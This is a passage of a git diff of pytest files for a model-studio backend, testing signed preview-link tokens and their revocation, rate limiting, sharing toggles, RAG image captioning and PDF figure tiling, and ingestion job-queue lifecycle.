+        f"/p/demorun/v1/chat/completions?k={_sig('demorun/checkpoint-1')}",
+        json = {"messages": [{"role": "user", "content": "hi"}]},
+    )
+    assert r.status_code == 404
+    assert "load_path" not in captured
+
+
+def test_bearer_token_accepted(client, captured):
+    # OpenAI-compatible clients pass the capability as the api_key (Bearer header).
+    r = client.post(
+        "/p/demorun/v1/chat/completions",
+        headers = {"Authorization": f"Bearer {_sig('demorun')}"},
+        json = {"messages": [{"role": "user", "content": "hi"}]},
+    )
+    assert r.status_code == 200
+    assert captured["load_path"].endswith("demorun")
+
+
+def test_generation_clamp_caps_overrides(client, captured):
+    r = client.post(
+        f"/p/demorun/v1/chat/completions?k={_sig('demorun')}",
+        json = {
+            "messages": [{"role": "user", "content": "hi"}],
+            "max_tokens": 999999,
+            "max_completion_tokens": 888888,
+            "n": 64,
+        },
+    )
+    assert r.status_code == 200
+    p = captured["payload"]
+    assert p.max_tokens == preview._PREVIEW_MAX_OUTPUT_TOKENS
+    assert p.max_completion_tokens == preview._PREVIEW_MAX_OUTPUT_TOKENS
+    assert p.n == 1
+
+
+def test_generation_clamp_honors_lower_legacy_max_tokens(client, captured):
+    # A caller asking for fewer tokens via the legacy field must not be bumped up
+    # to the ceiling: _effective_max_tokens prefers max_completion_tokens, so both
+    # fields have to carry the lower value.
+    r = client.post(
+        f"/p/demorun/v1/chat/completions?k={_sig('demorun')}",
+        json = {"messages": [{"role": "user", "content": "hi"}], "max_tokens": 16},
+    )
+    assert r.status_code == 200
+    p = captured["payload"]
+    assert p.max_tokens == 16
+    assert p.max_completion_tokens == 16
+
+
+def test_generation_clamp_honors_lower_completion_tokens(client, captured):
+    r = client.post(
+        f"/p/demorun/v1/chat/completions?k={_sig('demorun')}",
+        json = {"messages": [{"role": "user", "content": "hi"}], "max_completion_tokens": 32},
+    )
+    assert r.status_code == 200
+    p = captured["payload"]
+    assert p.max_tokens == 32
+    assert p.max_completion_tokens == 32
+
+
+# ── Public-sharing kill switch ───────────────────────────────────────────────
+
+
+def test_chat_blocked_when_sharing_disabled(client, monkeypatch, captured):
+    # Admin turned public sharing off: even a valid token 404s, with no model load.
+    monkeypatch.setattr(preview, "get_preview_sharing_enabled", lambda: False)
+    r = client.post(
+        f"/p/demorun/v1/chat/completions?k={_sig('demorun')}",
+        json = {"messages": [{"role": "user", "content": "hi"}]},
+    )
+    assert r.status_code == 404
+    assert "load_path" not in captured
+
+
+def test_page_blocked_when_sharing_disabled(client, monkeypatch):
+    monkeypatch.setattr(preview, "get_preview_sharing_enabled", lambda: False)
+    assert client.get(f"/p/demorun?k={_sig('demorun')}").status_code == 404
+
+
+# ── Rate limiting ────────────────────────────────────────────────────────────
+
+
+def test_chat_rate_limited_returns_429(client, monkeypatch):
+    import utils.preview_rate_limit as rl
+
+    monkeypatch.setattr(rl, "_MAX_REQUESTS", 2)
+    rl.reset()
+    url = f"/p/demorun/v1/chat/completions?k={_sig('demorun')}"
+    body = {"messages": [{"role": "user", "content": "hi"}]}
+    assert client.post(url, json = body).status_code == 200
+    assert client.post(url, json = body).status_code == 200
+    r = client.post(url, json = body)
+    assert r.status_code == 429
+    assert r.headers.get("retry-after")
diff --git a/studio/backend/tests/test_preview_sharing_settings.py b/studio/backend/tests/test_preview_sharing_settings.py
new file mode 100644
index 0000000000..abadaf483c
--- /dev/null
+++ b/studio/backend/tests/test_preview_sharing_settings.py
@@ -0,0 +1,77 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Route-level tests for the preview settings endpoints (rotate + sharing toggle)."""
+
+from pathlib import Path
+import sys
+import types as _types
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+import pytest
+from fastapi import FastAPI
+from fastapi.testclient import TestClient
+
+import routes.settings as settings
+
+
+@pytest.fixture
+def client(monkeypatch):
+    # Stub the persistence helpers so the endpoints don't touch the real DBs.
+    calls: dict = {"enabled": True}
+
+    def _set(value):
+        calls["set"] = bool(value)
+        calls["enabled"] = bool(value)
+        return bool(value)
+
+    monkeypatch.setattr(settings, "get_preview_sharing_enabled", lambda: calls["enabled"])
+    monkeypatch.setattr(settings, "set_preview_sharing_enabled", _set)
+    monkeypatch.setattr(
+        settings, "rotate_preview_link_secret", lambda: calls.__setitem__("rotated", True)
+    )
+
+    app = FastAPI()
+    app.include_router(settings.router)
+    app.dependency_overrides[settings.get_current_subject] = lambda: "admin"
+    return TestClient(app, raise_server_exceptions = False), calls
+
+
+def test_rotate_preview_links(client):
+    c, calls = client
+    r = c.post("/preview-links/rotate")
+    assert r.status_code == 200
+    assert r.json() == {"rotated": True}
+    assert calls.get("rotated") is True
+
+
+def test_get_preview_sharing(client):
+    c, _ = client
+    r = c.get("/preview-sharing")
+    assert r.status_code == 200
+    body = r.json()
+    assert body["enabled"] is True
+    assert "default_enabled" in body
+
+
+def test_put_preview_sharing_disables(client):
+    c, calls = client
+    r = c.put("/preview-sharing", json = {"enabled": False})
+    assert r.status_code == 200
+    assert r.json()["enabled"] is False
+    assert calls["set"] is False
+
+
+def test_put_preview_sharing_rejects_non_bool(client):
+    # Pydantic rejects a non-bool body (422) before the handler runs.
+    c, _ = client
+    r = c.put("/preview-sharing", json = {"enabled": "maybe"})
+    assert r.status_code == 422
diff --git a/studio/backend/tests/test_preview_token.py b/studio/backend/tests/test_preview_token.py
new file mode 100644
index 0000000000..6b0e802864
--- /dev/null
+++ b/studio/backend/tests/test_preview_token.py
@@ -0,0 +1,75 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Unit + rotation coverage for `/p` preview capability tokens.
+
+The token turns a guessable preview ref into an unguessable bearer capability:
+it must round-trip for the ref it was signed for, reject tampering / wrong refs,
+and stop verifying once the signing secret is rotated (link revocation).
+"""
+
+from pathlib import Path
+import sys
+import types as _types
+
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+# Mirror the other preview tests: avoid the heavy real `loggers` handlers.
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+import auth.storage as storage
+import utils.preview_token as preview_token
+
+
+_S1 = b"secret-one-aaaaaaaaaaaaaaaaaaaaaaaa"
+_S2 = b"secret-two-bbbbbbbbbbbbbbbbbbbbbbbb"
+
+
+def test_sign_verify_roundtrip(monkeypatch):
+    monkeypatch.setattr(preview_token, "get_or_create_preview_link_secret", lambda: _S1)
+    token = preview_token.sign_preview_ref("run/checkpoint-1")
+    assert preview_token.verify_preview_ref("run/checkpoint-1", token)
+    # URL-safe, unpadded, and high-entropy (SHA-256 -> 43 base64url chars).
+    assert "=" not in token and "/" not in token and "+" not in token
+    assert len(token) >= 40
+
+
+def test_missing_or_tampered_token_rejected(monkeypatch):
+    monkeypatch.setattr(preview_token, "get_or_create_preview_link_secret", lambda: _S1)
+    token = preview_token.sign_preview_ref("demorun")
+    assert not preview_token.verify_preview_ref("demorun", None)
+    assert not preview_token.verify_preview_ref("demorun", "")
+    flipped = token[:-1] + ("A" if token[-1] != "A" else "B")
+    assert not preview_token.verify_preview_ref("demorun", flipped)
+    # A token minted for one ref does not unlock another.
+    assert not preview_token.verify_preview_ref("otherrun", token)
+    # A non-ASCII token is invalid, not a crash (the route would 500 otherwise).
+    assert not preview_token.verify_preview_ref("demorun", "tøken-é")
+
+
+def test_secret_change_invalidates_token(monkeypatch):
+    monkeypatch.setattr(preview_token, "get_or_create_preview_link_secret", lambda: _S1)
+    token = preview_token.sign_preview_ref("demorun")
+    monkeypatch.setattr(preview_token, "get_or_create_preview_link_secret", lambda: _S2)
+    assert not preview_token.verify_preview_ref("demorun", token)
+
+
+def test_rotation_revokes_links(tmp_path, monkeypatch):
+    # Exercise the real storage helpers against a throwaway auth.db.
+    monkeypatch.setattr(storage, "DB_PATH", tmp_path / "auth.db")
+    monkeypatch.setattr(storage, "_preview_link_secret_cache", None)
+
+    token = preview_token.sign_preview_ref("demorun")
+    assert preview_token.verify_preview_ref("demorun", token)
+    # Secret persists across calls (the link keeps working until rotated).
+    assert preview_token.verify_preview_ref("demorun", token)
+
+    storage.rotate_preview_link_secret()
+    # Old shared link is revoked; a freshly minted one works.
+    assert not preview_token.verify_preview_ref("demorun", token)
+    assert preview_token.verify_preview_ref("demorun", preview_token.sign_preview_ref("demorun"))
diff --git a/studio/backend/tests/test_rag_captioning.py b/studio/backend/tests/test_rag_captioning.py
index 5d83a7d38d..5ae0926990 100644
--- a/studio/backend/tests/test_rag_captioning.py
+++ b/studio/backend/tests/test_rag_captioning.py
@@ -13,13 +13,15 @@ def _img(page):
     return ParsedImage(image_bytes = b"\x89PNG fake", page_number = page, xref = page)
 
 
-def test_caption_images_disabled_by_default(monkeypatch):
+def test_caption_images_runs_when_images_present(monkeypatch):
+    # Policy lives in ingestion (_run); caption_images captions given images + endpoint.
     monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", False)
-    assert captioner.caption_images([_img(1)], endpoint = ("http://x", "local")) == {}
+    monkeypatch.setattr(captioner, "_caption_one", lambda *a: "a chart")
+    out = captioner.caption_images([_img(1)], endpoint = ("http://x", "local"))
+    assert out == {1: ["a chart"]}
 
 
 def test_caption_images_groups_by_page(monkeypatch):
-    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True)
     monkeypatch.setattr(captioner.config, "CAPTION_MAX_IMAGES", 8)
     monkeypatch.setattr(captioner, "_caption_one", lambda base, model, b, t: "a chart of results")
     out = captioner.caption_images([_img(1), _img(1), _img(3)], endpoint = ("http://x", "local"))
@@ -27,7 +29,6 @@ def test_caption_images_groups_by_page(monkeypatch):
 
 
 def test_caption_images_respects_cap(monkeypatch):
-    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True)
     monkeypatch.setattr(captioner.config, "CAPTION_MAX_IMAGES", 2)
     calls = []
     monkeypatch.setattr(captioner, "_caption_one", lambda *a: (calls.append(1) or "cap"))
@@ -36,11 +37,186 @@ def test_caption_images_respects_cap(monkeypatch):
 
 
 def test_caption_images_no_endpoint(monkeypatch):
-    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True)
     monkeypatch.setattr(captioner, "vision_endpoint", lambda: None)
     assert captioner.caption_images([_img(1)]) == {}
 
 
+def test_caption_runaway_guard_applied(monkeypatch):
+    # A looping vision model must not flood the index; captions pass _collapse_runaway.
+    monkeypatch.setattr(captioner, "_caption_one", lambda *a: "\n".join(["LOOP"] * 40))
+    out = captioner.caption_images([_img(1)], endpoint = ("http://x", "local"))
+    assert out[1][0].splitlines().count("LOOP") == 3  # 40 -> 3
+
+
+def test_caption_prompt_and_token_budget(monkeypatch):
+    # Caption and OCR keep separate prompts + token caps over the shared _vision_complete.
+    captured: dict = {}
+
+    def fake_vision_complete(base_url, model, image_bytes, *, prompt, timeout, max_tokens):
+        captured.update(prompt = prompt, timeout = timeout, max_tokens = max_tokens)
+        return "ok"
+
+    monkeypatch.setattr(captioner, "_vision_complete", fake_vision_complete)
+    monkeypatch.setattr(captioner.config, "CAPTION_MAX_TOKENS", 277)
+
+    captioner._caption_one("http://x", "local", b"img", 12.0)
+    prompt = captured["prompt"].lower()
+    # Unified prompt: transcribe every label (recall) + axis/legend coverage + describe.
+    assert "transcribe" in prompt
+    assert ("axis" in prompt or "axes" in prompt) and "legend" in prompt
+    assert "do not invent" in prompt
+    assert captured["max_tokens"] == 277
+    assert captured["timeout"] == 12.0
+
+    captured.clear()
+    monkeypatch.setattr(captioner.config, "OCR_MAX_TOKENS", 999)
+    captioner._ocr_one("http://x", "local", b"img", 5.0)
+    assert captured["max_tokens"] == 999
+    assert "transcribe" in captured["prompt"].lower()
+
+
+def test_pages_with_figures_and_tiles(tmp_path):
+    from core.rag import parsers
+
+    pdf = tmp_path / "fig.pdf"
+    _figure_pdf(pdf)
+    pgs = parsers.pages_with_figures(str(pdf), max_pages = 4)
+    assert pgs == [1]
+    tiles = parsers.render_pdf_figure_tiles(str(pdf), pgs, rows = 2, cols = 2, fullpage = True)
+    assert len(tiles) == 5  # full page + 2x2 grid
+    assert all(t.image_bytes[:8] == b"\x89PNG\r\n\x1a\n" and t.page_number == 1 for t in tiles)
+    capped = parsers.render_pdf_figure_tiles(
+        str(pdf), pgs, rows = 2, cols = 2, fullpage = True, max_tiles = 3
+    )
+    assert len(capped) == 3  # max_tiles budget honored
+
+
+def test_render_pdf_figure_tiles_zero_grid_no_crash(tmp_path):
+    # A misconfigured rows/cols=0 must clamp to 1, not raise ZeroDivisionError.
+    import pymupdf
+
+    from core.rag import parsers
+
+    pdf = tmp_path / "blank.pdf"
+    doc = pymupdf.open()
+    doc.new_page()
+    doc.save(str(pdf))
+    doc.close()
+
+    out = parsers.render_pdf_figure_tiles(str(pdf), [1], rows = 0, cols = 0, fullpage = True)
+    assert len(out) == 2  # full page + a single 1x1 tile, no crash
+
+
+def test_pages_with_figures_excludes_given_pages(tmp_path):
+    # Pages OCR already transcribed (passed as exclude_pages) are skipped; every other
+    # figure page is still returned for tiling.
+    import pymupdf
+
+    from core.rag import parsers
+
+    def _draw_chart(page):
+        shape = page.new_shape()
+        shape.draw_rect(pymupdf.Rect(60, 140, 540, 520))
+        for i in range(8):
+            shape.draw_line((80, 160 + i * 40), (520, 160 + i * 40))
+        shape.finish(color = (0, 0, 0), fill = (0.8, 0.8, 0.9))
+        shape.commit()
+
+    pdf = tmp_path / "charts.pdf"
+    doc = pymupdf.open()
+    _draw_chart(doc.new_page())
+    _draw_chart(doc.new_page())
+    doc.save(str(pdf))
+    doc.close()
+
+    assert parsers.pages_with_figures(str(pdf), max_pages = 4) == [1, 2]
+    assert parsers.pages_with_figures(str(pdf), max_pages = 4, exclude_pages = {1}) == [2]
+    assert parsers.pages_with_figures(str(pdf), max_pages = 4, exclude_pages = {2}) == [1]
+
+
+def test_run_skips_figure_work_without_vision_model(
+    rag_conn, stub_embeddings, monkeypatch, tmp_path
+):
+    # No vision model -> the whole figure pass (detection + rasterization) is skipped.
+    from core.rag import parsers
+
+    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True)
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: None)
+    touched: list[str] = []
+    monkeypatch.setattr(
+        parsers, "pages_with_figures", lambda *a, **k: touched.append("detect") or []
+    )
+    monkeypatch.setattr(
+        parsers, "render_pdf_figure_tiles", lambda *a, **k: touched.append("render") or []
+    )
+
+    pdf = tmp_path / "fig.pdf"
+    _figure_pdf(pdf)
+    _ingest_with_caption(rag_conn, "t1", pdf, None)  # follow config (ON), but no model
+    assert touched == []  # neither figure detection nor tiling ran
+
+
+def test_vision_complete_sends_auth_header(monkeypatch):
+    # Direct-stream serves llama-server with --api-key; vision calls must send the bearer.
+    import httpx
+
+    monkeypatch.setattr(
+        captioner, "_vision_auth_headers", lambda: {"Authorization": "Bearer secret"}
+    )
+    captured: dict = {}
+
+    class _Resp:
+        def raise_for_status(self):
+            pass
+
+        def json(self):
+            return {"choices": [{"message": {"content": "ok"}}]}
+
+    def fake_post(url, *, json, timeout, headers, trust_env):
+        captured.update(url = url, headers = headers, trust_env = trust_env)
+        return _Resp()
+
+    monkeypatch.setattr(httpx, "post", fake_post)
+    out = captioner._vision_complete(
+        "http://x", "local", b"img", prompt = "p", timeout = 5.0, max_tokens = 8
+    )
+    assert out == "ok"
+    assert captured["headers"] == {"Authorization": "Bearer secret"}
+    assert captured["trust_env"] is False
+
+
+def test_vision_complete_omits_header_when_unauthenticated(monkeypatch):
+    # No api-key configured -> no spurious Authorization header on plain llama-server.
+    import httpx
+
+    monkeypatch.setattr(captioner, "_vision_auth_headers", lambda: None)
+    captured: dict = {}
+
+    class _Resp:
+        def raise_for_status(self):
+            pass
+
+        def json(self):
+            return {"choices": [{"message": {"content": "ok"}}]}
+
+    def fake_post(url, *, json, timeout, headers, trust_env):
+        captured["headers"] = headers
+        captured["trust_env"] = trust_env
+        return _Resp()
+
+    monkeypatch.setattr(httpx, "post", fake_post)
+    captioner._vision_complete("http://x", "local", b"i", prompt = "p", timeout = 5.0, max_tokens = 8)
+    assert captured["headers"] is None
+    assert captured["trust_env"] is False
+
+
+def test_merge_page_captions_dedups():
+    out = captioner.merge_page_captions({1: ["MatMul\nScale", "Scale\nSoftMax"]})
+    text = out[1][0]
+    assert text.lower().count("scale") == 1  # repeated label from overlapping tiles dropped
+    assert "MatMul" in text and "SoftMax" in text
+
+
 def test_splice_captions_appends_to_right_page():
     pages = [Page("body one", 1, 8), Page("body two", 2, 8)]
     out = captioner.splice_captions(pages, {2: ["a diagram of X"]})
@@ -55,29 +231,6 @@ def test_splice_captions_noop_when_empty():
     assert captioner.splice_captions(pages, {}) is pages
 
 
-def test_render_pdf_figures_detects_drawing(tmp_path):
-    import pymupdf
-
-    from core.rag.parsers import render_pdf_figures
-
-    pdf = tmp_path / "fig.pdf"
-    doc = pymupdf.open()
-    page = doc.new_page()
-    shape = page.new_shape()
-    shape.draw_rect(pymupdf.Rect(60, 60, 540, 460))
-    for i in range(8):
-        shape.draw_line((80, 80 + i * 40), (520, 80 + i * 40))
-    shape.finish(color = (0, 0, 0), fill = (0.8, 0.8, 0.9))
-    shape.commit()
-    doc.save(str(pdf))
-    doc.close()
-
-    figs = render_pdf_figures(str(pdf))
-    assert figs, "expected at least one rendered figure region"
-    assert figs[0].image_bytes[:8] == b"\x89PNG\r\n\x1a\n"
-    assert figs[0].page_number == 1
-
-
 def test_captioned_text_is_searchable(rag_home, stub_embeddings, monkeypatch):
     from core.rag import retrieval, store
     from storage import rag_db
@@ -103,3 +256,100 @@ def test_captioned_text_is_searchable(rag_home, stub_embeddings, monkeypatch):
     finally:
         conn.close()
     assert hits, "spliced caption text should be retrievable via lexical search"
+
+
+# ── per-upload caption override (parallels test_rag_ocr_fallback.py) ──
+
+
+def _figure_pdf(path):
+    """A born-digital PDF: a page with real text (so it is not treated as scanned)
+    plus a vector drawing region that figure detection picks up as a figure."""
+    import pymupdf
+
+    doc = pymupdf.open()
+    page = doc.new_page()
+    page.insert_textbox(
+        pymupdf.Rect(40, 40, 550, 120),
+        "Quarterly revenue report. The chart below shows the trend.",
+        fontsize = 11,
+    )
+    shape = page.new_shape()
+    shape.draw_rect(pymupdf.Rect(60, 140, 540, 520))
+    for i in range(8):
+        shape.draw_line((80, 160 + i * 40), (520, 160 + i * 40))
+    shape.finish(color = (0, 0, 0), fill = (0.8, 0.8, 0.9))
+    shape.commit()
+    doc.save(str(path))
+    doc.close()
+
+
+def _ingest_with_caption(rag_conn, thread_id, path, caption):
+    from core.rag import ingestion, store
+
+    scope = store.thread_scope(thread_id)
+    document_id = store.create_document(
+        rag_conn,
+        scope = scope,
+        filename = "fig.pdf",
+        sha256 = str(path) + str(caption),
+        thread_id = thread_id,
+        status = "pending",
+        stored_path = str(path),
+    )
+    job_id = ingestion._new_job(rag_conn, document_id, scope)
+    # _run(job_id, document_id, scope, stored_path, model_name, ocr, caption)
+    ingestion._run(job_id, document_id, scope, str(path), None, None, caption)
+    return store.get_document(rag_conn, document_id)
+
+
+def test_caption_override_true_runs_when_config_off(
+    rag_conn, stub_embeddings, monkeypatch, tmp_path
+):
+    # Config default OFF, but the per-upload toggle (caption=True) forces captioning.
+    from core.rag import tool
+
+    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", False)
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local"))
+    monkeypatch.setattr(captioner, "_caption_one", lambda *a: "bar chart of revenue wombat-7")
+
+    pdf = tmp_path / "fig.pdf"
+    _figure_pdf(pdf)
+    _ingest_with_caption(rag_conn, "t1", pdf, True)
+
+    text, _ = tool.whole_document_context(scope_thread_id = "t1", max_tokens = 6000)
+    assert "wombat-7" in text  # the spliced figure caption reached the index
+
+
+def test_caption_override_false_skips_when_config_on(
+    rag_conn, stub_embeddings, monkeypatch, tmp_path
+):
+    # Config default ON, but the per-upload toggle (caption=False) skips captioning.
+    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True)
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local"))
+    called = []
+    monkeypatch.setattr(captioner, "_caption_one", lambda *a: called.append(1) or "should not run")
+
+    pdf = tmp_path / "fig.pdf"
+    _figure_pdf(pdf)
+    _ingest_with_caption(rag_conn, "t1", pdf, False)
+
+    assert called == []  # no vision caption calls despite config ON
+
+
+def test_caption_none_follows_config(rag_conn, stub_embeddings, monkeypatch, tmp_path):
+    # Omitted override (None) falls back to config.CAPTION_IMAGES.
+    monkeypatch.setattr(captioner, "vision_endpoint", lambda: ("http://x", "local"))
+    seen = []
+    monkeypatch.setattr(captioner, "_caption_one", lambda *a: seen.append(1) or "chart caption")
+
+    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", False)
+    pdf_off = tmp_path / "off.pdf"
+    _figure_pdf(pdf_off)
+    _ingest_with_caption(rag_conn, "t1", pdf_off, None)
+    assert seen == []  # config OFF + no override -> no captioning
+
+    monkeypatch.setattr(captioner.config, "CAPTION_IMAGES", True)
+    pdf_on = tmp_path / "on.pdf"
+    _figure_pdf(pdf_on)
+    _ingest_with_caption(rag_conn, "t2", pdf_on, None)
+    assert seen  # config ON + no override -> captioning runs
diff --git a/studio/backend/tests/test_rag_embed_llama_server.py b/studio/backend/tests/test_rag_embed_llama_server.py
index 8321068afd..0e1f74cefe 100644
--- a/studio/backend/tests/test_rag_embed_llama_server.py
+++ b/studio/backend/tests/test_rag_embed_llama_server.py
@@ -373,6 +373,8 @@ def test_ensure_ready_respawns_dead_process(monkeypatch):
     def fake_spawn():
         spawned["n"] += 1
         b._process = _FakeProc(alive = True)
+        # _current() now also checks the served repo, so mark it current.
+        b._model_repo = config.effective_gguf_repo()
 
     monkeypatch.setattr(b, "_spawn", fake_spawn)
     b._ensure_ready()
diff --git a/studio/backend/tests/test_rag_ingestion.py b/studio/backend/tests/test_rag_ingestion.py
index f0b71bc23b..7e9e803687 100644
--- a/studio/backend/tests/test_rag_ingestion.py
+++ b/studio/backend/tests/test_rag_ingestion.py
@@ -83,6 +83,34 @@ def test_ingestion_dedupe_by_hash(rag_home, stub_embeddings, tmp_path):
         conn.close()
 
 
+def test_ingestion_reingests_when_existing_has_zero_chunks(rag_home, stub_embeddings, tmp_path):
+    # A prior ingest of identical bytes that yielded no chunks (e.g. a scanned PDF
+    # before a vision model loaded) must re-ingest, not dedupe to the empty record.
+    path = _write(tmp_path, "doc.txt", "alpha bravo charlie " * 50)
+    sha = ingestion._sha256_file(path)
+    scope = store.kb_scope("K1")
+    conn = rag_db.get_connection()
+    try:
+        empty_id = store.create_document(conn, scope = scope, filename = "old.txt", sha256 = sha)
+        store.set_document_status(conn, empty_id, "completed", num_chunks = 0)
+    finally:
+        conn.close()
+
+    doc_id, job_id = ingestion.start_ingestion(scope, "K1", None, "doc.txt", path)
+    events = _drain(job_id)
+    _wait_completed(job_id)
+
+    assert not any(e.get("deduped") for e in events)  # not a dedupe -> real ingest
+    assert doc_id != empty_id
+    conn = rag_db.get_connection()
+    try:
+        docs = store.list_documents(conn, scope)
+        assert len(docs) == 1  # the empty record was removed, replaced by the new one
+        assert docs[0]["num_chunks"] > 0
+    finally:
+        conn.close()
+
+
 def test_ingestion_dedupe_removes_duplicate_upload(rag_home, stub_embeddings):
     from utils.paths import ensure_dir, rag_uploads_root
 
@@ -210,6 +238,41 @@ def test_delete_document_route_removes_stored_upload(rag_home):
         conn.close()
 
 
+def test_get_job_status_includes_num_chunks(rag_home, stub_embeddings, tmp_path):
+    # The poll/reconcile path reads num_chunks from get_job_status (the SSE complete
+    # frame carries it, but a client that falls back to polling needs it here too).
+    path = _write(tmp_path, "doc.txt", "alpha bravo charlie " * 50)
+    scope = store.kb_scope("K1")
+    _doc_id, job_id = ingestion.start_ingestion(scope, "K1", None, "doc.txt", path)
+    _drain(job_id)
+    _wait_completed(job_id)
+    status = ingestion.get_job_status(job_id)
+    assert status["status"] == "completed"
+    assert status["num_chunks"] and status["num_chunks"] > 0
+
+
+def test_save_upload_rejects_oversize_file(rag_home, monkeypatch):
+    # A file over the cap is rejected (413) and its partial bytes are cleaned up.
+    import io
+
+    from fastapi import HTTPException
+
+    from core.rag import config
+    from routes import rag as rag_routes
+    from utils.paths import rag_uploads_root
+
+    monkeypatch.setattr(config, "MAX_UPLOAD_BYTES", 1024)
+
+    class _Up:
+        filename = "big.txt"
+        file = io.BytesIO(b"x" * 4096)
+
+    with pytest.raises(HTTPException) as ei:
+        rag_routes._save_upload(_Up())
+    assert ei.value.status_code == 413
+    assert list(rag_uploads_root().glob("*.txt")) == []  # partial upload removed
+
+
 def test_ingestion_delete_removes_all_rows(rag_home, stub_embeddings, tmp_path):
     path = _write(tmp_path, "doc.txt", "alpha bravo charlie delta")
     scope = store.kb_scope("K1")
diff --git a/studio/backend/tests/test_rag_job_events_queue_lifecycle.py b/studio/backend/tests/test_rag_job_events_queue_lifecycle.py
new file mode 100644
index 0000000000..0eb115c562
--- /dev/null
+++ b/studio/backend/tests/test_rag_job_events_queue_lifecycle.py
@@ -0,0 +1,114 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""job_events keeps the per-job queue registered only while the worker runs.
+
+``_emit()`` writes to ``_jobs[job_id]`` while the worker runs; if an early SSE
+disconnect removed that queue, later events would be dropped and a reconnect
+would see only ``[DONE]`` and mark a running job complete. So keep it on an early
+disconnect of a running job, but drop it on a terminal exit or a disconnect after
+the job already finished; ``_reap_finished_jobs`` sweeps any leftovers.
+"""
+
+import queue
+import sqlite3
+import sys
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+import core.rag.ingestion as ing
+
+
+def test_early_disconnect_keeps_queue_registered(monkeypatch):
+    monkeypatch.setattr(ing, "_SSE_POLL_SECONDS", 0.01)
+    # Job is still running; nothing terminal has happened.
+    monkeypatch.setattr(ing, "get_job_status", lambda _jid: {"status": "running"})
+    jid = "job-early-disconnect"
+    ing._jobs[jid] = queue.Queue()
+    try:
+        gen = ing.job_events(jid)
+        next(gen)  # enter loop: Empty -> non-terminal -> heartbeat
+        gen.close()  # client disconnects before the job finishes
+        assert (
+            jid in ing._jobs
+        ), "queue must survive an early disconnect so the worker can still emit"
+    finally:
+        ing._jobs.pop(jid, None)
+
+
+def test_terminal_sentinel_removes_queue(monkeypatch):
+    monkeypatch.setattr(ing, "_SSE_POLL_SECONDS", 0.01)
+    jid = "job-terminal-sentinel"
+    q = queue.Queue()
+    q.put({"type": "progress", "stage": "embedding", "progress": 0.5})
+    q.put(None)  # worker finished -> sentinel
+    ing._jobs[jid] = q
+    try:
+        events = list(ing.job_events(jid))  # drains progress, then None -> terminal
+        assert any(e.get("type") == "progress" for e in events)
+        assert jid not in ing._jobs, "queue must be removed once the job is terminal"
+    finally:
+        ing._jobs.pop(jid, None)
+
+
+def test_disconnect_after_terminal_event_removes_queue(monkeypatch):
+    monkeypatch.setattr(ing, "_SSE_POLL_SECONDS", 0.01)
+    # Worker finished: the DB row is terminal and a complete event is queued. The
+    # UI reads that event and disconnects (reader.cancel) before the None sentinel,
+    # so the queue must still drop rather than linger until the next reap.
+    monkeypatch.setattr(ing, "get_job_status", lambda _jid: {"status": "completed"})
+    jid = "job-disconnect-after-complete"
+    q = queue.Queue()
+    q.put({"type": "complete", "num_chunks": 3})
+    q.put(None)
+    ing._jobs[jid] = q
+    try:
+        gen = ing.job_events(jid)
+        assert next(gen)["type"] == "complete"  # client receives the terminal event
+        gen.close()  # disconnects before draining the sentinel
+        assert jid not in ing._jobs, "a finished job's queue must drop on disconnect"
+    finally:
+        ing._jobs.pop(jid, None)
+
+
+def test_transient_status_read_failure_does_not_end_stream(monkeypatch):
+    monkeypatch.setattr(ing, "_SSE_POLL_SECONDS", 0.01)
+    # The heartbeat poll hits a momentarily-locked DB. That must not propagate: the
+    # SSE route would turn the raised error into a terminal {type: error} frame and
+    # the UI would drop a document whose worker is still running. The stream should
+    # heartbeat and keep the queue so the worker can finish / a reconnect can resume.
+    calls = {"n": 0}
+
+    def flaky_status(_jid):
+        calls["n"] += 1
+        if calls["n"] == 1:
+            raise sqlite3.OperationalError("database is locked")
+        return {"status": "running"}
+
+    monkeypatch.setattr(ing, "get_job_status", flaky_status)
+    jid = "job-transient-read-failure"
+    ing._jobs[jid] = queue.Queue()
+    try:
+        gen = ing.job_events(jid)
+        assert next(gen) == {"type": "heartbeat"}  # transient error -> heartbeat, no raise
+        gen.close()
+        assert jid in ing._jobs, "an unconfirmed (transient-error) status must keep the queue"
+    finally:
+        ing._jobs.pop(jid, None)
+
+
+def test_terminal_db_status_removes_queue(monkeypatch):
+    monkeypatch.setattr(ing, "_SSE_POLL_SECONDS", 0.01)
+    # No events arrive, but the DB row reports the job finished (hard worker death
+    # that skipped the sentinel): the stream ends and the queue is reaped.
+    monkeypatch.setattr(ing, "get_job_status", lambda _jid: {"status": "completed"})
+    jid = "job-terminal-db"
+    ing._jobs[jid] = queue.Queue()
+    try:
+        list(ing.job_events(jid))
